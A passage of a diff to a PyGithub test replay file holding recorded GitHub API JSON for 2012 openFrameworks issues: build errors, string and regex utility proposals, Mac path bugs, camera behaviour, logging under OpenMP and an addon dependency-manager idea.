/Users/yltastep/Documents/XCode/openframeworks/libs/openFrameworksCompiled/lib/osx/openFrameworksDebug.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/GLee/lib/osx/GLee.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/rtAudio/lib/osx/rtAudio.a -framework AGL -framework ApplicationServices -framework AudioToolbox -framework Carbon -framework CoreAudio -framework CoreFoundation -framework CoreServices -framework OpenGL -framework QuickTime -framework AppKit -framework Cocoa -framework IOKit -framework GLUT /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoFoundation.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoNet.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoUtil.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoXML.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freetype/lib/osx/freetype.a -lfmodex /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx/freeimage.a -framework QTKit -framework Quartz -framework QuartzCore -o /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin/movieGrabberExampleDebug.app/Contents/MacOS/movieGrabberExampleDebug*\r\n\r\n**Command /Developer/usr/bin/clang++ failed with exit code 1**\r\n\r\nSo no explanation of problem.\r\n\r\nIs somebody ran this example successfully ?\r\nAnd what I'm doing wrong ?\r\n\r\nThanks in advance !\r\n\r\nWith regards.","number":1112,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1112","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"2a8296","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS"}],"id":3807459,"closed_at":null,"created_at":"2012-03-26T12:11:44Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"add a simple regex function like ofSplitString()","html_url":"https://github.com/openframeworks/openFrameworks/issues/1110","comments":1,"assignee":null,"updated_at":"2012-03-25T20:07:16Z","body":"Todd's example has this code a few times in it by hand, but I'm thinking it's so simple it could be added along side ofSplitString() and would be really useful ? for sure, more string utility functions are helpful, and for basic text parsing, this is great. Poco gives us this for free, so it doesn't seem like a huge stretch to think of something like this, plus find and replace, etc. Would make the regex example much shorter. \r\n\r\np5 has something similar, if that's a helpful argument: \r\n\r\nhttp://processing.org/reference/matchAll_.html\r\n\r\n\r\n\tvector < string > ofxRegex::getMatchedStrings (string contents, string regex );\r\n\tvector < string > ofxRegex::getMatchedStrings (string contents, string regex ){\r\n \r\n\t vector < string > results;\r\n\t RegularExpression regEx(regex);\r\n\t RegularExpression::Match match;\r\n \r\n\t while(regEx.match(contents, match) != 0) {\r\n \r\n\t // we get the sub string from the content\r\n\t // and then trim the content so that we\r\n\t // can continue to search \r\n\t string foundStr = contents.substr(match.offset, match.length);\r\n\t contents = contents.substr(match.offset + match.length);\r\n \r\n\t results.push_back(foundStr);\r\n \r\n\t }\r\n\t return results;\r\n\t}","number":1110,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1110","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"31e03a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed"}],"id":3799872,"closed_at":null,"created_at":"2012-03-25T18:56:37Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"mac paths don't seem right until you call \"ofToDataPath()\"","html_url":"https://github.com/openframeworks/openFrameworks/issues/1109","comments":3,"assignee":null,"updated_at":"2012-03-25T18:50:13Z","body":"code to recreate: \r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::setup(){\r\n system(\"pwd;\");\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::update(){\r\n system(\"pwd;\");\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::draw(){\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::keyPressed(int key){\r\n cout << ofToDataPath(\"temp\") << endl;\r\n}\r\n\r\nproduces: \r\n\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n../../../data/temp\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin/emptyExampleDebug.app/Contents/MacOS\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin/emptyExampleDebug.app/Contents/MacOS\r\n\r\nthis is because the code that fixes OSX paths isn't called until you call ofToDataPath(). a good fix I think would be to set ofDataPathRoot (which happens in ofToDataPath) somewhere early in ofRunApp(). Or should it happen even earlier?","number":1109,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1109","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"993e7a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"65a300","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize"},{"color":"2a8296","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS"}],"id":3799653,"closed_at":null,"created_at":"2012-03-25T18:18:28Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"fe632ca3d0c42747cfef88a95d942c4a","url":"https://api.github.com/users/roymacdonald","login":"roymacdonald","id":974878,"avatar_url":"https://secure.gravatar.com/avatar/fe632ca3d0c42747cfef88a95d942c4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"easyCam weird behavior when target changed","html_url":"https://github.com/openframeworks/openFrameworks/issues/1108","comments":7,"assignee":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-04-09T13:06:18Z","body":"easycam behaves as expected when inited but as soon as I change it's target it begins to behave strangely.\r\nthere's this imaginary sphere that we are rotating (it's diameter is min (viewport.width, vieport.height)), when the mouse is dragged from inside to outside of it the rotation just jumps to a \"random\" rotation. \r\nas well when you have a the camera rotated more than 180º in some axis the \"trackball\" doesn't behave as expected. yet this behavior is not seen when the target hasn't been changed.\r\n\r\nDoes any one know what's going on?\r\n\r\nI just came across this but I haven't gone deeply into how easycam handles the mouse to rotate. \r\nI'll do so ASAP. If someone can give me any clues I'll really apreciate it.\r\n\r\nregards!","number":1108,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1108","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"DDDDDD","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D"}],"id":3795495,"closed_at":null,"created_at":"2012-03-25T00:01:54Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"PG feature request: Generate makefile-only projects","html_url":"https://github.com/openframeworks/openFrameworks/issues/1103","comments":1,"assignee":null,"updated_at":"2012-04-09T16:47:18Z","body":"It would be great if the PG could also generate projects/examples for usage with Eclipse, i.e. just the makefile related files, no CB or other project files.","number":1103,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1103","labels":[{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"444444","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator"}],"id":3754055,"closed_at":null,"created_at":"2012-03-21T21:43:34Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"feature / bug - #pragma omp critical(ofLog)","html_url":"https://github.com/openframeworks/openFrameworks/issues/1098","comments":3,"assignee":null,"updated_at":"2012-03-19T16:18:43Z","body":"whenever i call ofLog beneath openmp i have to wrap it in ```#pragma omp critical (ofLog)``` otherwise i get a crash\r\ni found adding the line above \r\nhttps://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/utils/ofLog.cpp#L84\r\nworks pretty well\r\n\r\nany objections to having it in there?","number":1098,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1098","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"DDDDDD","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals"}],"id":3710293,"closed_at":null,"created_at":"2012-03-19T14:04:51Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"bug ofDirectory::open(string path) actually loads the entire dir into memory?","html_url":"https://github.com/openframeworks/openFrameworks/issues/1075","comments":2,"assignee":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-15T20:34:17Z","body":"I'm finding that `ofDirector::listDir, open` are extremely slow\r\nit seems that it's actually loading the entire dir contents into memory\r\n\r\nit's possible to then do something like\r\n```\r\nofLoadImage(myPixels, dir.getFile(i));\r\n```\r\nand you can quickly load that image from memory. which is faster than\r\n```\r\nofLoadImage(myPixels, dir.getFile(i).getAbsolutePath());\r\n```\r\n\r\nBut this doesn't seem to work consistently (even though the slow listing is consistent)\r\nand surely isn't what we want.","number":1075,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1075","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"DDDDDD","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals"}],"id":3662214,"closed_at":null,"created_at":"2012-03-15T07:54:55Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"c1ec5161b69b4a990436deafb1170d64","url":"https://api.github.com/users/manuelgeoffray","login":"manuelgeoffray","id":808090,"avatar_url":"https://secure.gravatar.com/avatar/c1ec5161b69b4a990436deafb1170d64?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Alpha movies in GStreamer","html_url":"https://github.com/openframeworks/openFrameworks/issues/1070","comments":6,"assignee":null,"updated_at":"2012-03-14T16:03:06Z","body":"Hello,\r\nI needed alpha channel in short length video for a recent project.\r\nIn the forum there is some old zip file for a ofxAlphaVideoPlayer that is still working, but that's OS X & windows only as it's based on QT.\r\nI'm working on linux, and I didn't find anything for GStreamer, so I modified the existing ofGstUtils and ofGstVideoPlayer.\r\nWould you mind if I do a pull request for this?\r\nI can also provide an example with a short length video using animation codec.\r\nWhat do you think?","number":1070,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1070","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":3647640,"closed_at":null,"created_at":"2012-03-14T13:02:41Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"390ea42c23c2c383f973abdafa24bb07","url":"https://api.github.com/users/gabrielstuff","login":"gabrielstuff","id":285033,"avatar_url":"https://secure.gravatar.com/avatar/390ea42c23c2c383f973abdafa24bb07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Continuous integration","html_url":"https://github.com/openframeworks/openFrameworks/issues/1068","comments":10,"assignee":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-17T19:26:40Z","body":"Hey !\r\n\r\nMe again. Didn't find anywhere this infos. I'm currently testing the travis-ci.org service.\r\nAs many people are working on the project and as many many issue are raised, and fixed, I thought it could be great to add some test and thus the travis service.\r\n\r\nIt would avoid the problem met here :\r\nhttps://github.com/openframeworks/openFrameworks/commit/7ca7833ea1afb6bd5a6c54031e3fa688aa0c0ba8\r\nand the discussion here :\r\nhttps://github.com/openframeworks/openFrameworks/issues/804\r\nor there :\r\nhttps://github.com/openframeworks/openFrameworks/pull/921\r\n\r\nI read that :\r\n\r\n>feel free to make a unitTests folder at the root level of OF -\r\n> that is where all unitTests will go.\r\n\r\nBut didn't find them.\r\n\r\nThe travis service will permit to get the little badge we know well : \r\n[![Build Status](https://secure.travis-ci.org/soixantecircuits/openFrameworks.png?branch=master)](http://travis-ci.org/soixantecircuits/openFrameworks)\r\n\r\nAlso, why not adding some spec test, to ensure future development of features.\r\nI'm currently reading :\r\nhttp://www.squidoo.com/cplusplus-behaviour-driven-development-tools#module124841511\r\nhttp://sourceforge.net/apps/mediawiki/turtle/index.php?title=Turtle\r\n\r\nFor those who want some other nice reading :\r\n\r\nhttp://gamesfromwithin.com/exploring-the-c-unit-testing-framework-jungle\r\n\r\nThe travis test is here, currently it is a total fake, but I just proposed the idea of a test driven development\r\nhttp://travis-ci.org/#!/soixantecircuits/openFrameworks/builds/854259 ","number":1068,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1068","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"37c200","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy"}],"id":3631618,"closed_at":null,"created_at":"2012-03-13T15:49:23Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"390ea42c23c2c383f973abdafa24bb07","url":"https://api.github.com/users/gabrielstuff","login":"gabrielstuff","id":285033,"avatar_url":"https://secure.gravatar.com/avatar/390ea42c23c2c383f973abdafa24bb07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Automatic installer + dependencies handler","html_url":"https://github.com/openframeworks/openFrameworks/issues/1063","comments":7,"assignee":null,"updated_at":"2012-03-13T15:21:30Z","body":"Hi !\r\n\r\nRecently, I've been in lot of languages, from C++ to ruby, passing by the colosus of javascript and the sea of php. Dropping by various and strange framework such as the Cinder, the jQuery, the Rails, the Processing, etc ...\r\n\r\n## the situation \r\n\r\nWhat I have noticed is that a strong architecture and a really ease use of add-ons makes a framework get stronger. For instance, if we take a look at Ruby, we see that the use of gems give him a powerfull advance over his friend php. \r\n\r\n### the Rubyist\r\n\r\nThis way of thinking is getting even better with the http://gembundler.com/ [Bundler](http://gembundler.com/) friend. The gems have dependencies and a simple GemFile help to easily install all dependencies for one project.\r\n\r\n### the Cinderist\r\n\r\nFor Cinder, we get the block, as for OSX, it quiet easy and fast. Drag and drop and play/code.\r\n\r\n### the jQueryist\r\n\r\nWell, it is not frequent to have jQuery plugins depending on other jQuery plugins, but there are several way to handle dependencies on jQuery and JS.\r\n\r\n### the nodist\r\n\r\nThis lead us to http://npmjs.org/, which is really nice with dependencies.\r\nFor instance, if you tried cloud9ide, you know that you just have to make sure you get the proper package.json :\r\n\r\n```\r\n{\r\n \"name\": \"node-example\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": {\r\n \"express\": \"2.2.0\"\r\n }\r\n}\r\n```\r\n\r\nThis file ensure that everything before running the server will be installed via npm.\r\n\r\n### the ofist\r\n\r\nRight now, we just have the addons.make file, which is nice but does not do any lifting for us. We have to verify that the ofx addons has been downloaded and is installed in the right folder.\r\n\r\n- Why not creating a script that will allow to manage dependencies compilation ? \r\nI have this wonderful ofxJSONsettings, but he depends on [JSONCPP](http://jsoncpp.sourceforge.net/) and on boost, so here we will have :\r\n\r\npackage.json file in the ofxJSONsettings folder :\r\n\r\n```\r\n{\r\n \"name\": \"ofxJSONsettings\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": [{\r\n \"jsoncpp\": \"0.6.0-rc2\"\r\n \"url\":\"http://jsoncpp.svn.sourceforge.net/svnroot/jsoncpp/trunk/\"\r\n \"protocol\":\"svn\"\r\n }\r\n ]\r\n}\r\n```\r\n\r\nHum, then, we have our little bash script :\r\n\r\n`xadd -addon ofxJSONsettings`\r\n\r\nand for a project, we have to ensure that the make file run `xadd -addon ofxJSONsettings` if it does not find ofXJSONsettings.\r\n\r\nThis could lead to simplify and easify the use of plugin ! Hey, I want the new [mistubaRenderer](https://github.com/satoruhiga/ofxMitsubaRenderer) let's give a try :\r\n\r\n```\r\n{\r\n \"name\": \"ofxMitsubaRenderer\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": [{\r\n \"mitsuba\": \"0.1\"\r\n \"url\":\"https://www.mitsuba-renderer.org/hg/mitsuba-bidir\"\r\n \"protocol\":\"hg\"\r\n }\r\n ]\r\n}\r\n```\r\n\r\nWell, this would be simplify if everybody use some same pattern, and respect some convention.\r\n\r\nSo what do you guys think about that ?\r\n\r\n\r\nThank you !\r\n\r\n\r\n","number":1063,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1063","labels":[{"color":"d68e22","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"37c200","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy"}],"id":3627067,"closed_at":null,"created_at":"2012-03-13T10:44:57Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"regularize code for math addons","html_url":"https://github.com/openframeworks/openFrameworks/issues/1062","comments":4,"assignee":null,"updated_at":"2012-03-12T17:58:20Z","body":"right now there is a lot of duplicated code in the vector math classes. for example, normalize() and getNormalized() have separate implementations. if we follow the pattern of always implementing things in self-modifying methods, then providing copy-returning methods as alternatives, this will reduce the amount of code and make it harder to cause bugs or behavioral discrepancies.\r\n\r\n- implementations of an algorithm should always be self-modifying\r\n- copy-returning versions should be implemented using a differently named method, internally making a copy and calling the self-modifying version on the copy.\r\n\r\ne.g. something like (note, this isn't how it's implemented right now):\r\n\r\n\tinline ofVec2f& ofVec2f::normalize() {\r\n\t\tfloat length = (float)sqrt(x*x + y*y);\r\n\t\tif( length > 0 ) {\r\n\t\t\tx /= length;\r\n\t\t\ty /= length;\r\n\t\t}\r\n\t\treturn *this;\r\n\t}\r\n\r\n\tinline ofVec2f ofVec2f::getNormalized() const {\r\n\t\tofVec2f result = *this;\r\n\t\treturn result.normalize();\r\n\t}\r\n\r\ntaken from this post https://github.com/openframeworks/openFrameworks/pull/1061#issuecomment-4455601","number":1062,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1062","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"37c200","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy"}],"id":3614231,"closed_at":null,"created_at":"2012-03-12T16:33:06Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofVertexes?? ofCurveVertexes","html_url":"https://github.com/openframeworks/openFrameworks/issues/1055","comments":18,"assignee":null,"updated_at":"2012-03-13T13:07:11Z","body":"Just saw this is the documentation.\r\nVertexes is incorrect (wrong plural)\r\nVertices","number":1055,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1055","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"31e03a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed"}],"id":3605277,"closed_at":null,"created_at":"2012-03-12T01:50:19Z"}] - diff --git a/tests/ReplayData/PaginatedList.testInterruptedIteration.txt b/tests/ReplayData/PaginatedList.testInterruptedIteration.txt index 3067def9dd..41fb01372a 100644 --- a/tests/ReplayData/PaginatedList.testInterruptedIteration.txt +++ b/tests/ReplayData/PaginatedList.testInterruptedIteration.txt @@ -30,4 +30,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4973'), ('content-length', '55788'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"866bf23c3eacebec1bf87ae32d99f1d0"'), ('date', 'Tue, 29 May 2012 20:18:27 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-04-01T17:48:12Z","body":"ie: the equivalent of doing \r\n\r\nfloat rate = 0.02 + ofNoise(ofGetElapsedTimeF() * 0.02, 100.0) * 0.015;\r\nfloat value = ofSignedNoise( rate, x, y ); \r\n\r\nas one function. \r\n\r\nalso see kyle's #1134 for other noise utils. \r\n\r\nI find myself needing this quite often for more natural random motion where the rate of change is variable. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1133","comments":0,"milestone":null,"number":1133,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1133","assignee":null,"title":"ofNoise and ofSignedNoise with 2nd order control for rate.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-04-01T15:45:11Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3917018,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-02T02:05:52Z","body":"This is a feature discussion issue for what string features we should add to of.\r\nofZach mentioned some regexp ones from P5 match matchAll\r\nWould be great to get some eyes on this.\r\n\r\nOne approach would be a static class or namespace.\r\nThe idea would be we could include a variety of handy functions that would be useful for people not wanting to get into regexp\r\n\r\n\tofString::contains(str, \"apple\") //returns bool\r\n\tofString::starts(str, \"The\") //returns bool\r\n\tofString::ends(str, \".\") //returns bool\r\n\tofString::count(str, \"apples\") //count how many times apples appears in the \r\n\tofString::join(myVectorStr, \", \"); //this is currently ofJoinString\r\n\tofString::split(someText, \".\"); //this is currently ofSplitString\r\n\tofString::split(someHtml, \"<\", \">\"); //this is the same but returns a vector of things between the start and end delims\r\n\tofString::limit(someText, 200); //limit the text to 200 characters. optional arg to add ... to the end.\r\n\r\nQuestions:\r\n- Should we mirror P5 with match and matchAll or should we indicate that regexp is required? ie regexMatch regexMatchAll ?\r\n- Other string utils we could add?\r\n- Should it be ofStringUtils:: or ofString:: ?\r\n- Something to do a split and then return a vector of float int etc?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1132","comments":6,"milestone":null,"number":1132,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1132","assignee":null,"title":"ofStringUtils:: feature discussion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-31T17:52:48Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3911629,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-27T17:40:30Z","body":"This is a feature discussion issue for what should be added / changed to ofTTF.\r\nWould be great to get some eyes on this from @vtron @ofzach @arturoc and anyone with thoughts on the matter.\r\n\r\nTextAreas:\r\n- Fit text to a box\r\n- Handle overflow ( ie either truncate or resize box height )\r\n- non ragged options\r\n- could textAreas work with both ofTTF and ofDrawBitmapString ? abstract text formatting?\r\n\r\nAlignment:\r\n- Left align a string\r\n- Right align\r\n- Center\r\n- Top align \r\n- Base align \r\n\r\nSpacing:\r\n- Kerning\r\n- Leading / 